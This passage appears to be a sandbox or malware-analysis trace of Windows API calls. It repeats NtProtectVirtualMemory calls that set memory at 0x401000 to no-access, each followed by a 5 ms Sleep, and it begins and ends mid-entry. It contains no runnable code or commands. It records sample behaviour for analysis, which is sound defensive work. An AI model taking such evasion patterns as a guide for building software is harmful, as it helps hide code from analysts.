NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0366.107] Sleep (dwMilliseconds=0x5) [0366.157] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0366.158] Sleep (dwMilliseconds=0x5) [0366.217] Sleep (dwMilliseconds=0x5) [0366.259] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0366.260] Sleep (dwMilliseconds=0x5) [0366.307] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0366.308] Sleep (dwMilliseconds=0x5) [0366.412] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0366.474] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0366.475] Sleep (dwMilliseconds=0x5) [0366.535] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0366.536] Sleep (dwMilliseconds=0x5) [0366.577] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0366.578] Sleep (dwMilliseconds=0x5) [0366.622] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0366.623] Sleep (dwMilliseconds=0x5) [0366.672] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0366.673] Sleep (dwMilliseconds=0x5) [0366.894] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0366.895] Sleep (dwMilliseconds=0x5) [0366.944] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0366.945] Sleep (dwMilliseconds=0x5) [0366.989] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0366.990] Sleep (dwMilliseconds=0x5) [0367.034] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0367.036] Sleep (dwMilliseconds=0x5) [0367.081] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0367.082] Sleep (dwMilliseconds=0x5) [0367.136] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0367.137] Sleep (dwMilliseconds=0x5) [0367.182] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0367.183] Sleep (dwMilliseconds=0x5) [0367.229] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0367.229] Sleep (dwMilliseconds=0x5) [0367.277] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0367.278] Sleep (dwMilliseconds=0x5) [0367.324] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0367.325] Sleep (dwMilliseconds=0x5) [0367.416] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0367.417] Sleep (dwMilliseconds=0x5) [0367.467] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0367.467] Sleep (dwMilliseconds=0x5) [0367.511] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0367.512] Sleep (dwMilliseconds=0x5) [0367.560] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0367.561] Sleep (dwMilliseconds=0x5) [0367.602] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0367.603] Sleep (dwMilliseconds=0x5) [0367.649] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0367.650] Sleep (dwMilliseconds=0x5) [0367.698] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0367.699] Sleep (dwMilliseconds=0x5) [0367.762] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0367.763] Sleep (dwMilliseconds=0x5) [0367.806] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0367.807] Sleep (dwMilliseconds=0x5) [0367.853] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0367.854] Sleep (dwMilliseconds=0x5) [0367.902] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0367.903] Sleep (dwMilliseconds=0x5) [0367.949] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0367.950] Sleep (dwMilliseconds=0x5) [0367.992] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0367.992] Sleep (dwMilliseconds=0x5) [0368.051] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0368.052] Sleep (dwMilliseconds=0x5) [0368.104] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0368.104] Sleep (dwMilliseconds=0x5) [0368.149] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0368.150] Sleep (dwMilliseconds=0x5) [0368.196] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0368.197] Sleep (dwMilliseconds=0x5) [0368.243] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0368.244] Sleep (dwMilliseconds=0x5) [0368.636] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0368.636] Sleep (dwMilliseconds=0x5) [0368.727] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0368.728] Sleep (dwMilliseconds=0x5) [0368.792] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0368.792] Sleep (dwMilliseconds=0x5) [0368.839] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0368.840] Sleep (dwMilliseconds=0x5) [0368.887] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0368.888] Sleep (dwMilliseconds=0x5) [0368.931] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0368.932] Sleep (dwMilliseconds=0x5) [0368.984] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0368.985] Sleep (dwMilliseconds=0x5) [0369.039] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0369.039] Sleep (dwMilliseconds=0x5) [0369.087] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0369.088] Sleep (dwMilliseconds=0x5) [0369.135] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0369.136] Sleep (dwMilliseconds=0x5) [0369.180] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0369.181] Sleep (dwMilliseconds=0x5) [0369.227] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0369.228] Sleep (dwMilliseconds=0x5) [0369.277] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0369.277] Sleep (dwMilliseconds=0x5) [0369.323] Sleep (dwMilliseconds=0x5) [0369.368] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0369.368] Sleep (dwMilliseconds=0x5) [0369.413] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0369.414] Sleep (dwMilliseconds=0x5) [0369.465] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0369.466] Sleep (dwMilliseconds=0x5) [0369.511] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0369.512] Sleep (dwMilliseconds=0x5) [0369.560] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0369.560] Sleep (dwMilliseconds=0x5) [0369.606] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0369.607] Sleep (dwMilliseconds=0x5) [0369.649] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0369.649] Sleep (dwMilliseconds=0x5) [0369.772] Sleep (dwMilliseconds=0x5) [0369.855] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0369.855] Sleep (dwMilliseconds=0x5) [0369.918] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0369.919] Sleep (dwMilliseconds=0x5) [0369.964] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0369.965] Sleep (dwMilliseconds=0x5) [0370.009] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0370.009] Sleep (dwMilliseconds=0x5) [0370.056] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0370.056] Sleep (dwMilliseconds=0x5) [0370.102] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0370.103] Sleep (dwMilliseconds=0x5) [0370.152] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0370.153] Sleep (dwMilliseconds=0x5) [0370.198] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0370.199] Sleep (dwMilliseconds=0x5) [0370.246] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0370.247] Sleep (dwMilliseconds=0x5) [0370.338] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0370.339] Sleep (dwMilliseconds=0x5) [0370.386] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0370.387] Sleep (dwMilliseconds=0x5) [0370.432] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0370.433] Sleep (dwMilliseconds=0x5) [0370.479] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0370.482] Sleep (dwMilliseconds=0x5) [0370.526] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0370.527] Sleep (dwMilliseconds=0x5) [0370.582] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0370.583] Sleep (dwMilliseconds=0x5) [0370.636] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0370.637] Sleep (dwMilliseconds=0x5) [0370.760] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0370.761] Sleep (dwMilliseconds=0x5) [0370.807] NtProtectVirtualMemory (in: 